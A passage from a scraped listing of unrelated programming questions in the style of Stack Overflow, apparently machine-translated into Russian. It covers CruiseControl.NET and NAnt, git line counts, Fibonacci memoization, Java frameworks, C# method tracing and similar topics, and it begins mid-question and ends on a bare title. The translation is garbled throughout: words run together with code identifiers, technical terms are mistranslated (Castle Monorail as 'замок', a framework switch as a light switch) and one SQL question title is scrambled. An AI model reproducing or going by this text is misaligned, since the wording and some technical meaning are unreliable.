fooнаходится в(*)oldSet, но неnewSet, вызовитеdoRemove(foo) - иначе, если
fooнаходится не вoldSet, а вnewSet, вызовитеdoAdd(foo) - в противном случае, если
fooнаходится в обеих коллекциях, но изменен, вызовитеdoUpdate(oldFoo, newFoo) - еще если
!foo.activated && foo.startDate >= now, то звонитеdoStart(foo) - еще если
foo.activated && foo.endDate <= now,doEnd(foo)звоните
( * ) "in" означает совпадение уникального идентификатора, но не обязательно содержимого.
Текущий (устаревший) код выполняет множество сравнений, чтобы вычислить removeSet , addSet , updateSet , startSet и endSet, а затем выполнить цикл для каждого элемента.
Код довольно грязный (отчасти потому, что я уже пропустил некоторую логику спагетти), и я пытаюсь его рефакторировать. Еще немного фоновой информации:
- Насколько я знаю,
oldSetиnewSetна самом деле подкрепленыArrayList - Каждый набор содержит менее 100 элементов, скорее всего, максимум 20
- Этот код вызывается часто (измеряется в millions/day),, хотя наборы редко отличаются
Мой вопрос:
- Если я преобразую
oldSetиnewSetвHashMap<Foo>(порядок здесь не имеет значения), с ключами IDs в качестве ключей, будет ли это облегчать чтение кода и его сравнение? Сколько времени & производительность памяти теряется при преобразовании? - Будет ли повторение двух наборов и выполнение соответствующей операции более эффективным и лаконичным?
CruiseControl.NET и NAnt
У меня есть проект CC.NET, настроенный для вызова общего файла сборки NAnt, который выполняет некоторые действия, а затем вызывает дочерний файл сборки NAnt. Имя дочернего файла сборки указывается параметром CC.NET в файле сборки команды с помощью свойства.
Препятствие, которое я пытаюсь преодолеть, заключается в том, что общий журнал файлов сборки перезаписывается дочерним журналом файлов сборки, поэтому я не получаю общий журнал сборки в журнале сборки CC.NET.
У кого-нибудь есть идеи, как это исправить?
Я думал об изменении журнала дочерней сборки, но чтение задачи NAnt <nant> не позволяет мне изменить журнал вывода ребенка.
Как я могу искать контент в пределах audio files/streams?
Я всегда задавался вопросом, сколько существует различных методов поиска, для поиска текста, для поиска изображений и даже для видео.
Однако я никогда не сталкивался с решением, которое искало бы содержимое в аудиофайлах.
Например: предположим, что у меня есть около 200 подкастов, загруженных в мой PC в виде файлов mp3, wav и ogg. Все они имеют общее название, скажем, podcast1.mp3, podcast2.mp3 и т. д. Таким образом, невозможно узнать, что такое содержание, не услышав их на самом деле. Скажем так, мне интересно узнать, о чем говорят подкасты 'game programming'. Я хочу, чтобы результаты были показаны как:
- Podcast1.mp3 - 3 результат(ы) по временному индексу(ы) - 0:16:21, 0:43:45, 1:12:31
- Podcast21.ogg-1 результат(ы) по временному индексу(ам) - 0:12:01
Так что мои вопросы:
- Как можно было бы подойти к этой проблеме?
- Существуют ли подходящие алгоритмы, разработанные для выполнения чего-то подобного?
Одна идея, возникшая у меня в голове, заключалась в том, что можно было бы использовать программное обеспечение " speech-to-text " для получения транскриптов вместе с индексами времени для каждого из аудиофайлов, а затем проанализировать транскрипт, чтобы получить результат.
Я рассматривал это как один из моих хобби-проектов. Спасибо!
Синхронизация библиотек / репозиториев проекта subversion
Я разрабатываю библиотеку вместе с несколькими проектами, которые ее используют, и я обнаружил, что часто изменяю библиотеку одновременно с проектом (например, добавляя функцию в библиотеку и сразу же используя ее в проекте).
В результате проект больше не будет компилироваться с предыдущими версиями библиотеки.
Поэтому, если мне нужно откатить изменение или протестировать предыдущую версию проекта, я хотел бы знать, какая версия библиотеки использовалась при регистрации.
Я полагаю, что я мог бы сделать это вручную (просто написав номер версии в файле журнала), но было бы здорово, если бы это могло произойти автоматически.
Как лучше всего настроить компиляцию Ruby в Debian?
При компиляции из исходного кода я никогда не знаю, какие флаги конфигурации использовать для оптимизации компиляции для моей среды. Предположим следующее hardware/OS:
- Одноядерный Процессор, 2 GHz Intel
- 512МБ Ram
- Debian 4
Я обычно просто иду с
./configure --prefix=/usr/local
Я должен делать что-нибудь еще?
Как я могу построить график строк истории кода для git РЕПО?
В принципе, я хочу получить номер lines-of-code в репозитории после каждого коммита.
Единственный (действительно дерьмовый) способ, который я нашел, - это использовать git filter-branch для запуска wc -l * , а сценарий, который запускает git reset --hard на каждом коммите, затем запускает wc -l
Чтобы было немного понятнее, когда инструмент запускается, он выводит строки кода самого первого коммита, затем второго и так далее. Это то, что я хочу, чтобы инструмент вывел (в качестве примера):
me@something:~/$ gitsloc --branch master
10
48
153
450
1734
1542
Я поиграл с библиотекой ruby 'git', но ближе всего я нашел метод .lines() на diff, который, похоже, должен давать добавленные строки (но не дает: он возвращает 0, когда вы удаляете строки, например)
require 'rubygems'
require 'git'
total = 0
g = Git.open(working_dir = '/Users/dbr/Desktop/code_projects/tvdb_api')
last = nil
g.log.each do |cur|
diff = g.diff(last, cur)
total = total + diff.lines
puts total
last = cur
end
Алгоритм сравнения двух изображений
Учитывая два разных графических файла (в любом формате, который я выберу), мне нужно написать программу, чтобы предсказать вероятность того, что один из них будет нелегальной копией другого. Автор копии может делать такие вещи, как поворот, создание негатива или добавление тривиальных деталей (а также изменение размера изображения).
Знаете ли вы какой-нибудь алгоритм для выполнения такого рода работы?
Лучший способ получить объекты из BlockingQueue в параллельной программе?
Каков наилучший способ получить объекты из BlockingQueue в параллельной программе, не попадая в состояние гонки? В настоящее время я делаю следующее, И я не уверен, что это лучший метод:
BlockingQueue<Violation> vQueue;
/*
in the constructor I pass in a BlockingQueue object
full of violations that need to be processed - cut out for brevity
*/
Violation v;
while ( ( v = vQueue.poll(500, TimeUnit.MILLISECONDS) ) != null ) {
// do stuff with the violation
}
Я еще не достиг состояния гонки... но я не слишком уверен, что это действительно безопасно.
Есть ли способ ускорить рекурсию, запоминая дочерние узлы?
Например, Посмотрите на код, который вычисляет число Фибоначчи n-th :
fib(int n)
{
if(n==0 || n==1)
return 1;
return fib(n-1) + fib(n-2);
}
Проблема с этим кодом заключается в том, что он будет генерировать ошибку переполнения стека для любого числа больше 15 (в большинстве компьютеров).
Предположим, что мы вычисляем fib(10). В этом процессе, скажем, fib (5) вычисляется много раз. Есть ли способ сохранить это в памяти для быстрого извлечения и тем самым увеличить скорость рекурсии?
Я ищу общий метод, который может быть использован практически во всех проблемах.
Как мне маршалировать a lambda (Proc) в Ruby?
Джо Ван Дайк спросил список рассылки Ruby :
Привет,
В Ruby, я полагаю, вы не можете маршалировать объект lambda/proc, верно? Является это возможно в lisp или других языках?
То, что я пытался сделать:
l = lamda { ... }
Bj.submit "/path/to/ruby/program", :stdin => Marshal.dump(l)
Итак, я посылаю BackgroundJob a lambda объект, который содержит контекст/код для того, что нужно сделать. Но, наверное, это было невозможно. Я в итоге был выполнен маршалинг обычного объекта ruby, содержащего инструкции для того, что делать после запуска программы.
Джо
AnkhSVN против VisualSVN
В настоящее время я использую AnkhSVN для интеграции subversion в Visual Studio. Есть ли какая-то причина, по которой я должен переключиться на VisualSVN?
AnkhSVN является бесплатным (в более чем одном смысле этого слова), в то время как VisualSVN стоит $50., так что прямо там, если я не упускаю какую-то замечательную особенность VisualSVN, я не вижу никакой причины переключаться.
От Monorail до ASP.Net MVC
В последний раз, когда я брался за нетривиальное приложение .Net/C#, я использовал замок Monorail и, в целом, наслаждался опытом. Early-access/preview выпуски .Net MVC еще не были доступны. Многие "Microsoft shops" теперь найдут решение "official" более привлекательным. Кто-нибудь перешел от Monorail к .Net MVC.
Как вы нашли выключатель?
Каковы самые большие различия в настоящее время?
Python генератор кода для Visual Studio?
У меня была идея, если я добавлю файл python .py в свой проект C# и помечу файл пользовательским генератором, который выполнит файл python, и обработает вывод как результат генерации кода, т. е. поместите его в файл C#, что позволит мне сделать довольно много генерации кода в рамках процесса сборки.
Кто-нибудь знает, существует ли такой пользовательский генератор для Visual Studio 2008?
Java аннотации
Какова цель аннотаций в Java? У меня есть это нечеткое представление о них как о чем-то промежуточном между комментарием и реальным кодом. Влияют ли они на программу во время выполнения?
Каковы их типичные обычаи?
Являются ли они уникальными для Java? Существует ли эквивалент C++?
Инъекция Кода С C#
Можете ли вы использовать windows крючки или другие методы, чтобы сделать инъекцию кода с c#? я видел много вещей о инъекции кода, но все они сделаны в C/C++. я не знаю ни одного из этих языков и очень трудно переводить. У кого-нибудь есть идеи, как это сделать?
Функциональное программирование и нефункциональное Программирование
На втором курсе университета мы были "taught" Haskell, я почти ничего не знаю об этом и еще меньше о функциональном программировании.
Что такое функциональное программирование, почему и / или где я хотел бы использовать его вместо нефункционального программирования и правильно ли я думаю, что C-это нефункциональный язык программирования?
Лучшее решение для аутентификации в Ruby на Rails
Я ищу готовое решение, которое можно использовать в моем приложении RoR. В идеале я ищу что-то похожее на проверку подлинности ASP.NET форм, которая обеспечивает проверку email, элементы управления регистрацией и позволяет пользователям сбрасывать свои пароли. Ах да, и легко позволяет мне вытащить пользователя, который в данный момент вошел в приложение.
Я начал просматривать уже написанные фрагменты, но обнаружил, что это действительно сбивает с толку. Я посмотрел на LoginGenerator, RestfulAuthentication, SaltedLoginGenerator, но, похоже, нет ни одного места, где есть отличные учебники или их сравнение. Если есть сайт, который я просто еще не обнаружил, или если есть стандарт де-факто, которым пользуется большинство людей, я был бы признателен за помощь.
Каковы лучшие веб-фреймворки MVC на рынке?
Я ищу веб-фреймворк для перемещения приложений на основе windows в сеть.
Основными требованиями к WF являются следующие:
- поддержка модульных тестов
- поддержка настольных и мобильных браузеров
- долгосрочная жизнеспособность
- зрелость структуры
Выгодно ли вообще использовать 'goto' в языке, поддерживающем циклы и функции? Если да, то почему?
У меня уже давно сложилось впечатление, что goto никогда не следует использовать, если это возможно. Просматривая libavcodec (который написан в C) на днях, я заметил, что он используется многократно. Выгодно ли вообще использовать goto в языке, поддерживающем циклы и функции? Если да, то почему?
Что такое "best" способ хранения международных адресов в базе данных?
Каков "лучший" способ хранения международных адресов в базе данных? Ответьте в виде схемы и объясните причины, по которым вы решили нормализовать (или нет) свой путь. Также объясните, почему вы выбрали тип и длину каждого поля.
Примечание: Вы сами решаете, какие поля вы считаете необходимыми.
449   6   16:35, 22nd August, 2020
Какие существуют альтернативы Model-View-Controller?
Проходя через университет и следя за развитием SO,я много слышал об архитектурном дизайне Model-View-Controller. Я случайно использовал шаблон MVC еще до того, как узнал, что это такое, и до сих пор использую его в своей повседневной работе. Из того, что я видел, это, вероятно, самый популярный шаблон, используемый сегодня. Но вот о чем я почти ничего не слышал, так это об альтернативных шаблонах, которые вы можете использовать вместо MVC. Какие существуют варианты и по каким причинам вы решили бы использовать их над MVC? Мне также интересно знать, для каких типов систем они обычно используются. Наконец, каковы плюсы и минусы, которые приходят вместе с их использованием?
669   10   17:50, 1st August, 2020
фильтр" плохие слова"
Не очень технично, но ... .. Я должен внедрить фильтр плохих слов в новый сайт, который мы разрабатываем. Поэтому мне нужен список плохих слов "good", чтобы накормить мою БД... какой-нибудь намек / направление? Посмотрев вокруг с помощью google, я нашел вот это , и это начало, но не более того.
Да, я знаю, что такого рода фильтры легко избежать... но воля клиента - это воля клиента !!! :-)
Сайт должен будет отфильтровать как английские, так и итальянские слова, но для итальянского языка я могу попросить своих коллег помочь мне с построенным сообществом списком "parolacce": -) - an email подойдет.
Спасибо за любую помощь.
WYSIWYG редактор gem для Rails?
Есть ли хороший ruby gem для редактора WYSIWYG, который легко будет работать с приложением rails?
Как автоматизировать сборку Visual Studio?
Как превратить сборку Visual Studio, выполняемую в IDE, в сценарий, который можно запустить из командной строки?
Каковы плюсы и минусы различных веб-фреймворков Java?
Я рассматриваю возможность создания собственного веб-сайта с использованием Java и пытаюсь решить, какой фреймворк использовать. Однако при быстром поиске Java фреймворков возвращается более 50 вариантов на выбор!
Мой сайт будет просто для моего собственного удовольствия строить его в начале, но если он станет популярным, было бы хорошо, чтобы он имел некоторую масштабируемость или, по крайней мере, мог бы перепроектировать для этого.
Каковы основные различия между более популярными фреймворками? Есть ли случаи, когда один значительно превосходит других? Например, корпоративные приложения с высоким трафиком по сравнению с малыми приложениями с низким трафиком. Мне также интересно, если некоторые из них гораздо легче изучать и использовать, чем другие.
Есть ли кто-нибудь, кто имеет опыт работы с некоторыми из этих рамок и может дать рекомендации? Является ли само количество вариантов просто ранним предупреждением, чтобы избежать Java-ориентированной веб-разработки, где это возможно?
Абстракция против сокрытия информации против инкапсуляции
Можете ли вы сказать мне, в чем разница между абстракцией и сокрытием информации в разработке программного обеспечения?
Я в замешательстве. Абстракция скрывает детализацию реализации и информация, скрывающая абстрактные целые детали чего-то.
Update: я нашел хороший ответ для этих трех концепций. Смотрите отдельный ответ ниже для нескольких цитат, взятых оттуда .
637   20   07:05, 10th August, 2020
Каковы некоторые примеры реализации шаблонов проектирования с использованием JavaScript?
Я умеренно квалифицированный программист, использующий JavaScript, но я не гуру. Я знаю, что вы можете делать с ним довольно мощные вещи, просто я не видел ничего, кроме довольно простых манипуляций DOM. Мне интересно, могут ли люди привести некоторые примеры традиционных концепций дизайна, таких как фабричный метод, Singleton и т. д. с использованием JavaScript. В каких случаях эти шаблоны будут использоваться в интернете?
439   10   01:27, 25th August, 2020
Отображение версии базового программного обеспечения в нижнем колонтитуле веб-приложения?
Я думаю о предоставлении версии, скажем, схемы базы данных и dlls для бизнес-логики в нижнем колонтитуле моего веб-приложения.
Разве это советуют?
Есть ли какие-либо подводные камни, или указатели, как сделать это лучше всего?
Проблемы юзабилити?
У меня уже есть схема версий, как для схемы, так и для библиотек DLL, используемых в моем решении CI.
Как написать аддон Firefox?
Каковы некоторые ресурсы для начала написания дополнения Firefox? Есть ли где-нибудь API руководство? Есть ли где-нибудь учебник по началу работы? Есть ли где-нибудь доска для обсуждения разработчиков?
Автоматизация процесса сборки MSI
У кого-нибудь есть хороший способ построить проекты MSI (vdproj) с использованием MsBuild или Nant?
Я знаю, что одним из ответов было установить Visual Studio на сервере сборки и просто использовать devenv.exe для сборки проекта, но я предпочитаю не устанавливать Visual Studio на наших серверах сборки.
Реализация пользовательского действия рабочего процесса Windows, выполняющего асинхронную операцию
У меня возникли некоторые концептуальные проблемы с выяснением того, как лучше всего реализовать это... Я хочу создать пользовательский класс активности для рабочего процесса Windows. Действие должно вызывать сторонний библиотечный метод, который сам запускает другой процесс асинхронно и может занять от нескольких секунд до нескольких часов для завершения. Эта библиотека предоставляет мне возможность либо опросить результат метода, либо подписаться на событие, которое указывает на его завершение. В моих приложениях, не связанных с рабочим процессом, я обычно просто подписываюсь на это событие, но это не кажется разумным в случае рабочего процесса. Я также не уверен, как лучше всего реализовать схему опроса. Может ли кто-нибудь порекомендовать некоторые указатели на подобные проблемы?
449   1   07:28, 23rd August, 2020
Используете ли Вы услуги Amazons Cloud для своей компании?
Я много читал о возможностях вычислений Amazons Cloud, таких как S3 или EC2 , и мне было интересно, действительно ли кто-то использует это для критически важных приложений. Вы размещаете сайт своей компании в cloud? Вы храните там файлы? Вы запускаете свои серверы сборки в cloud?
Есть уже некоторые сервисы, такие как Scalr или WeoCeo , которые могут помочь вам в этой задаче, но я не знаю, находится ли управление уже на том этапе, когда это действительно проблема...
edit я хотел бы добавить еще один момент: как вы думаете, есть ли скрытые проблемы в лицензиях AWS, которые удерживали бы вас (and/or ваша компания) от аутсорсинга приложений или даже частей приложений в cloud?
edit знаете ли вы о некоторых статистических данных, сравнивающих общее время простоя S3 или EC2 и ваших собственных или сторонних хостинг-сервисов?
Есть ли разница в производительности между i++ и ++i в C?
Есть ли разница в производительности между i++ и ++i , если результирующее значение не используется?
Как захватить выходные данные интерпретатора Python и/или CMD.EXE's из сценария Python?
- Можно ли захватить выходные данные интерпретатора Python из скрипта Python?
- Можно ли захватить выходные данные Windows CMD из сценария Python?
Если да, то в какую библиотеку(y|ies) мне следует заглянуть?
Существует ли функциональный язык для экосистемы C++?
Java имеет Scala и .NET имеет F# . Оба этих языка очень хорошо интегрированы в соответствующие платформы Java и .NET. Классы могут быть записаны в Scala, а затем расширены в Java, например.
Существует ли эквивалентный функциональный язык, который хорошо взаимодействует с C++?
Lisp исполняемый файл
Я только начал изучать Lisp и не могу понять, как скомпилировать и связать код lisp с исполняемым файлом.
Я использую clisp и clisp -c для получения двух файлов:
- .fas
- .lib
Что мне делать дальше, чтобы получить исполняемый файл?
Двоичный буфер в Python
В Python вы можете использовать StringIO как файловый буфер для символьных данных. Сопоставленный с памятью файл в основном делает то же самое для двоичных данных, но для этого требуется файл, который используется в качестве основы. Есть ли у Python файловый объект, предназначенный для двоичных данных и являющийся только памятью, эквивалентной Java ByteArrayOutputStream ?
У меня есть вариант использования: я хочу создать файл ZIP в памяти, а ZipFile требует файлоподобного объекта.
Каков ваш опыт проверки программных моделей?
- Для каких типов приложений вы использовали проверку моделей ?
- Какой инструмент проверки модели вы использовали?
- Как бы вы суммировали свой опыт w/ этой техники, в частности, в оценке ее эффективности в обеспечении более высокого качества программного обеспечения?
В ходе моих исследований у меня была возможность использовать Spin, и это вызвало мое любопытство относительно того, сколько фактической проверки модели происходит и какую ценность получают организации из нее. В моем опыте работы я работал над бизнес-приложениями, где (естественно)нет никакого рассмотрения применения формальной проверки к логике. Я бы очень хотел узнать о SO людях, которые проверяют опыт и мысли по этому вопросу. Станет ли проверка моделей когда-нибудь более широко используемой развивающейся практикой, которую мы должны иметь в нашем инструментарии?
452   5   10:02, 7th August, 2020
Как предотвратить тайм-аут сеанса в Symfony 1.0?
Я использовал фреймворк PHP MVC Symfony для создания веб-приложения по требованию.
У него есть досадная ошибка-сеанс истекает примерно через 15-30 минут бездействия. Существует директива конфигурации для предотвращения истечения срока действия сеанса, но она не работает. Даже обходные пути, такие как этот, не помогли мне.
Я не намерен мигрировать в Symfony 1.1 (который исправляет эту ошибку) в обозримом будущем.
Кто-нибудь был там и решил это? Я был бы очень благодарен за подсказку или два!
Что является оптимальным? UNION ВС, где в (str1 выглядит следующим образом, стр2, стр3)
Я пишу программу, которая отправляет email в определенное локальное время клиента. У меня есть.NET метод, который принимает timezone & времени и назначения timezone и возвращает время в этом timezone. Поэтому мой метод состоит в том, чтобы выбрать каждый отдельный timezone в базе данных, проверить, правильно ли это время с помощью метода, а затем выбрать каждого клиента из базы данных с этим timezone(s).
Запрос будет выглядеть как один из них. Имейте в виду, что порядок результирующего набора не имеет значения, поэтому объединение было бы хорошо. Что работает быстрее, или они действительно делают то же самое?
SELECT email FROM tClient WHERE timezoneID in (1, 4, 9)
или
SELECT email FROM tClient WHERE timezoneID = 1
UNION ALL SELECT email FROM tClient WHERE timezoneID = 4
UNION ALL SELECT email FROM tCLIENT WHERE timezoneID = 9
Изменить: timezoneID-это внешний ключ к tTimezone, таблица с первичным ключом timezoneID и полем varchar (20) timezoneName.
WCF-объекты домена и IExtensibleDataObject
Типичный сценарий. Мы используем старой школы XML internally web-сервисов для обмена данными между серверами фермы и нескольких распределенных и локальных клиентов. Никакие третьи лица не участвуют, только наши приложения, используемые нами и нашими клиентами.
В настоящее время мы размышляем о переходе от модели XML WS к модели WCF/object-based и экспериментируем с различными подходами. Один из них включает в себя передачу объектов домена / агрегатов непосредственно по проводу, возможно, вызывая атрибуты DataContract на них.
Используя IExtensibleDataObject и DataContract с помощью свойства Order на DataMembers, мы должны быть в состоянии справиться с простыми проблемами управления версиями свойств (помните, что мы контролируем всех клиентов и можем легко принудительно обновить их).
Я постоянно слышу, что мы должны использовать выделенные объекты передачи данных только для передачи данных ( DTOs ) по проводу.
Почему? Есть ли еще причина для этого? Мы используем одну и ту же модель домена на стороне сервера и на стороне клиента, конечно, предварительно заполняя коллекции и т. д. только в том случае, когда это считается правильным, и свойства коллекции "necessary." используют принцип Service locator и IoC для вызова либо NHibernate-based "service" для прямой выборки данных (на стороне сервера), либо клиента WCF "service" на стороне клиента для связи с фермой серверов WCF .
Итак-почему мы должны использовать DTOs ?
Flash лучшие практики совместной работы дизайнера и верстальщика
Я сделал несколько проектов flash, работая как ActionScripter с дизайнером, делающим все красивые вещи и анимацию. Когда я начинал, я нашел довольно много информации о кодировании ActionScript и дизайне flash. Большая часть имеющейся информации, по-видимому, сосредоточена на одном или другом.
Я не нашел никакой информации о построении проектов flash таким образом, чтобы кодер мог делать свое дело AND дает дизайнеру свободу.
Надеюсь, что более опытные люди могут поделиться, это некоторые из вещей, которые я обнаружил после нескольких проектов
- Контроль версий является обязательным (как всегда), но может быть трудно объяснить дизайнерам
- Нет ActionScript в файлах flash
.fla, они двоичны, и как кодер вы хотите попытаться держаться как можно дальше - Контроллер вида модели-это лучший способ, который я нашел, чтобы изолировать визуальные изменения дизайна
- Попробуйте построить представления так, чтобы они использовали метки фреймов, это позволит дизайнеру решить, что же на самом деле происходит
Каковы ваши переживания?
Семейный Сайт CMS
Я ищу CMS, который был бы невероятно удобным для пользователя и имел бы следующие функции:
- очень простая доска объявлений (не требуется вход в систему)
- родословная
- область рассказывания историй
- раздел фотографий
- раздел новостей
Есть ли что-нибудь там, как это, что действительно легко настраивается? Я уже связался с Мамбо и семейными связями, но мне не нравилось ни то, ни другое. В прошлом я просто программировал свои собственные веб-сайты, из-за отсутствия легко реализуемых функций. Тем не менее, я предполагаю, что есть что-то, что мне нужно там просто так, что я не могу найти. Спасибо.
Я не хочу, чтобы кто-то входил в систему, например. Это для семейного веб-сайта, и большая часть моей семьи действительно не знает, что такое веб-сайт, не говоря уже о том, как его использовать. Я хочу супер простой сайт с огромными кнопками и не так много отвлекающих факторов. Семейные связи-хороший пример того, что я хочу, за исключением того, что фотоальбом ужасен. Я хочу, чтобы люди отправляли сообщения без входа в систему или регистрации, и не видели эту способность на сайтах mambo, которые я смотрел.
Абстрагирование от CSS
Позвольте мне кое-что совершенно понятно.
Ненавижу . CSS.
Это нескончаемый кошмар. Каждое незначительное изменение макета кажется взломом. Решения проблем, кажется, часто включают в себя дрожание чисел вокруг, как какой-то шеф-повар пытается решить, сколько именно мускатного ореха положить в его знаменитый рисовый пудинг. Затем возникает проблема с несколькими браузерами, проблемы с несколькими разрешениями.. ..
короче говоря, это боль. Питу, если хотите.
Многие фреймворки стремятся абстрагироваться от HTML (пользовательские теги, компонентная система JSFs), чтобы облегчить работу с этим конкретным чайником рыбы.
Есть ли что-нибудь, что вы, ребята, использовали, что имеет аналогичную концепцию применительно к CSS? Что-то, что делает кучу кросс-браузерной магии для вас, поддерживает такие переменные (почему мне нужно вводить #3c5c8d каждый раз, когда я хочу этот цвет), поддерживает вычисляемые поля (которые являются 'compiled' в CSS и JS) и т. д.
В качестве альтернативы, я даже думаю об этом правильно? Я пытаюсь протолкнуть очень квадратный блок через очень круглое отверстие?
Насколько дорого стоит .NET отражение?
Я постоянно слышу, как плохо использовать отражение. Хотя я обычно избегаю размышлений и редко нахожу ситуации, когда без них невозможно решить мою проблему, мне было интересно...
Для тех, кто использовал отражение в приложениях, вы измерили хиты производительности и, действительно ли это так плохо?
Лучший способ запустить приложение Java в качестве демона *nix или службы Windows?
Я ищу лучший метод для запуска приложения Java в качестве демона *NIX или службы Windows. Я заглянул в оболочку сервиса Java, проект Apache Commons 'jsvc' и проект Apache Commons 'procrun' . До сих пор оболочка службы Java выглядит так, как будто это лучший вариант... но мне интересно, есть ли какие-либо другие лицензионные продукты "Open Source friendly".
ASP.NET главные страницы эквивалентны в Java
Каким будет эквивалент главных страниц в мире веб-разработки Java? Я слышал о плитках, гобеленах и скорости, но ничего о них не знаю. Они так же просты в использовании, как и главные страницы?
Я хочу что-то такое же простое, как настроить один шаблон, а последующие страницы выводятся из шаблона и переопределяют области содержимого, подобно главным страницам.
Любые примеры были бы великолепны!!
Безопасная синхронизация папок по общедоступной сети
Мне нужно, чтобы файлы & папок на двух Windows основе, не доменных машин синхронизированы через общедоступную сеть.
Я думал rsync над SSH - но мне было интересно, есть ли более простое решение? Есть ли возможность использовать sync framework через SFTP/SCP/SSH?
Или я открыт для лучших идей?
Когда инициализируется NavigationService?
Я хочу поймать событие NavigationService.Navigating с моей страницы, чтобы предотвратить переход пользователя вперед. У меня есть обработчик событий, определенный таким образом:
void PreventForwardNavigation(object sender, NavigatingCancelEventArgs e)
{
if (e.NavigationMode == NavigationMode.Forward)
{
e.Cancel = true;
}
}
... и это прекрасно работает. Однако я не уверен, где именно разместить этот код:
NavigationService.Navigating += PreventForwardNavigation;
Если я помещу его в конструктор страницы или инициализированный обработчик событий, то NavigationService все равно будет null, и я получу NullReferenceException. Однако если я помещаю его в обработчик загруженных событий для страницы, то он вызывается каждый раз при переходе на страницу. Если я правильно понимаю, это означает, что я обрабатываю одно и то же событие несколько раз.
Могу ли я добавить один и тот же обработчик к событию несколько раз (как это произошло бы, если бы я использовал загруженное событие страницы для его подключения)? Если нет, то есть ли какое-то место между инициализацией и загрузкой, где я могу сделать эту проводку?
pyGame в приложении pyGTK
Как лучше всего использовать PyGame (SDL) в приложении PyGTK?
Я ищу метод, который позволяет мне иметь область рисования в окне GTK и в то же время иметь возможность управлять событиями GTK и SDL.
Python модуль для преобразования PDF в текст
Какие модули Python лучше всего подходят для преобразования PDF файлов в текст?
ColdFusion-когда использовать область "request"?
Я просматривал код моего предшественника и часто видел использование области "request". Как правильно использовать эту область?
MVC-где реализовать проверку формы (на стороне сервера)?
При кодировании традиционного приложения MVC, какова наилучшая практика для кодирования проверки формы на стороне сервера? Принадлежит ли код контроллеру или уровню модели? И почему?
Java платформа конфигурации
Я нахожусь в процессе отсеивания всех жестко закодированных значений в библиотеке Java и задаюсь вопросом, какой фреймворк будет лучшим (с точки зрения нулевой или close-to-zero конфигурации) для обработки конфигурации во время выполнения? Я бы предпочел файлы конфигурации на основе XML, но это не так важно.
Пожалуйста, отвечайте только в том случае, если у вас есть практический опыт работы с фреймворком. Я ищу не Примеры, а опыт...
Наиболее эффективный способ получить данные из базы данных в сеанс
Каков самый быстрый способ получить большой объем данных (подумайте о гольфе) и самый эффективный (подумайте о производительности), чтобы получить большой объем данных из базы данных MySQL в сеанс, не продолжая делать то, что у меня уже есть:
$sql = "SELECT * FROM users WHERE username='" . mysql_escape_string($_POST['username']) . "' AND password='" . mysql_escape_string(md5($_POST['password'])) . "'";
$result = mysql_query($sql, $link) or die("There was an error while trying to get your information.\n<!--\n" . mysql_error($link) . "\n-->");
if(mysql_num_rows($result) < 1)
{
$_SESSION['username'] = $_POST['username'];
redirect('index.php?p=signup');
}
$_SESSION['id'] = mysql_result($result, '0', 'id');
$_SESSION['fName'] = mysql_result($result, '0', 'fName');
$_SESSION['lName'] = mysql_result($result, '0', 'lName');
...
И прежде чем кто-нибудь спросит "да", мне действительно нужно "SELECT
Edit: Да, Я дезинфицирую данные, так что не может быть никакой инъекции SQL, которая находится дальше в коде.
Вывод метки времени компиляции в исполняемом файле Visual C++?
Как я могу вставить информацию о компиляции timestamp в исполняемый файл, который я строю с помощью Visual C++ 2005? Я хочу иметь возможность выводить что-то подобное, когда я выполняю программу:
Эта сборка XXXX была скомпилирована в dd-mm-yy, hh:mm.
где дата и время отражают время, когда был построен проект. Они не должны изменяться при каждом последующем вызове программы, если только она не будет перекомпилирована.
Как перехватить вызов метода в C#?
Для данного класса я хотел бы иметь функцию трассировки, т. е. я хотел бы регистрировать каждый вызов метода (подпись метода и фактические значения параметров) и каждый выход метода (только подпись метода).
Как я могу это сделать предполагая что:
- Я не хочу использовать какую-либо третью сторону AOP библиотеки для C#,
- Я не хочу добавлять дубликат кода ко всем методам, которые я хочу trace,
- Я не хочу изменять public API класса - пользователи класса должны иметь возможность вызывать все методы точно таким же образом.
Чтобы сделать вопрос более конкретным предположим что есть 3 класса:
public class Caller
{
public static void Call()
{
Traced traced = new Traced();
traced.Method1();
traced.Method2();
}
}
public class Traced
{
public void Method1(String name, Int32 value) { }
public void Method2(Object object) { }
}
public class Logger
{
public static void LogStart(MethodInfo method, Object[] parameterValues);
public static void LogEnd(MethodInfo method);
}
Как вызвать Logger.LogStart и Logger.LogEnd для каждого вызова Method1 и Method2 без изменения метода Caller.Call и без добавления вызовов явно в Traced.Method1 и Traced.Method2 ?
Edit: каким будет решение, если мне будет разрешено немного изменить метод вызова?
Python отражение супер класса
Если у меня есть код Python
class A():
pass
class B():
pass
class C(A, B):
pass
и у меня есть класс C , есть ли способ перебрать его супер-класс (A и B)? Что-то вроде псевдокода:
>>> magicGetSuperClasses(C)
(<type 'A'>, <type 'B'>)
Одним из решений, по-видимому, является модуль inspect и функция getclasstree .
def magicGetSuperClasses(cls):
return [o[0] for o in inspect.getclasstree([cls]) if type(o[0]) == type]
но является ли это "Pythonian" способом достижения цели?
Как открыть решение VS 2008 в VS 2005?
Я видел, что решения, созданные в Visual Studio 2008, не могут быть открыты в Visual Studio 2005 , и попытался обойти проблему 1. Еще предстоит попробовать обходной путь 2.
Но поскольку эта связь была немного старой и от отчаяния спрашивала здесь: есть ли какой-нибудь конвертер?
У меня еще нет VS2008, и я хотел открыть решение с открытым исходным кодом, которое было сделано в vs2008.
Думаю, мне придется fiddle вокруг или ждать, пока vs2008 не будет отправлен.
420   5   10:39, 13th August, 2020
Какие цепочки инструментов существуют для непрерывной интеграции с C++?
Цепочки инструментов непрерывной интеграции для .NET, Java и других языков относительно хорошо определены, но рынок C++, похоже, имеет большое разнообразие.
Под CI "toolchain" я конкретно подразумеваю инструменты для построения скриптов, автоматизированного тестирования, проверки стандартов кодирования и т. д.
Что команды C++ используют для цепей инструментов CI?
CruiseControl.net дублировать NAnt тайминги
Я пытаюсь настроить CruiseControl.net webdashboard на данный момент. До сих пор это работает хорошо, но у меня есть проблема с отчетом о сроках сборки NAnt.
Во-первых, мой текущий файл ccnet.config выглядит примерно так:
<project name="bla">
...
<prebuild>
<nant .../>
</prebuild>
<tasks>
<nant .../>
</tasks>
<publishers>
<nant .../>
</publishers>
...
</project>
Как завершится, NAnt отчет о времени отображает три дублировать резюме. Есть ли способ исправить это без изменения структуры проекта?
Безопасные онлайн-списки рекордов для не-веб-игр
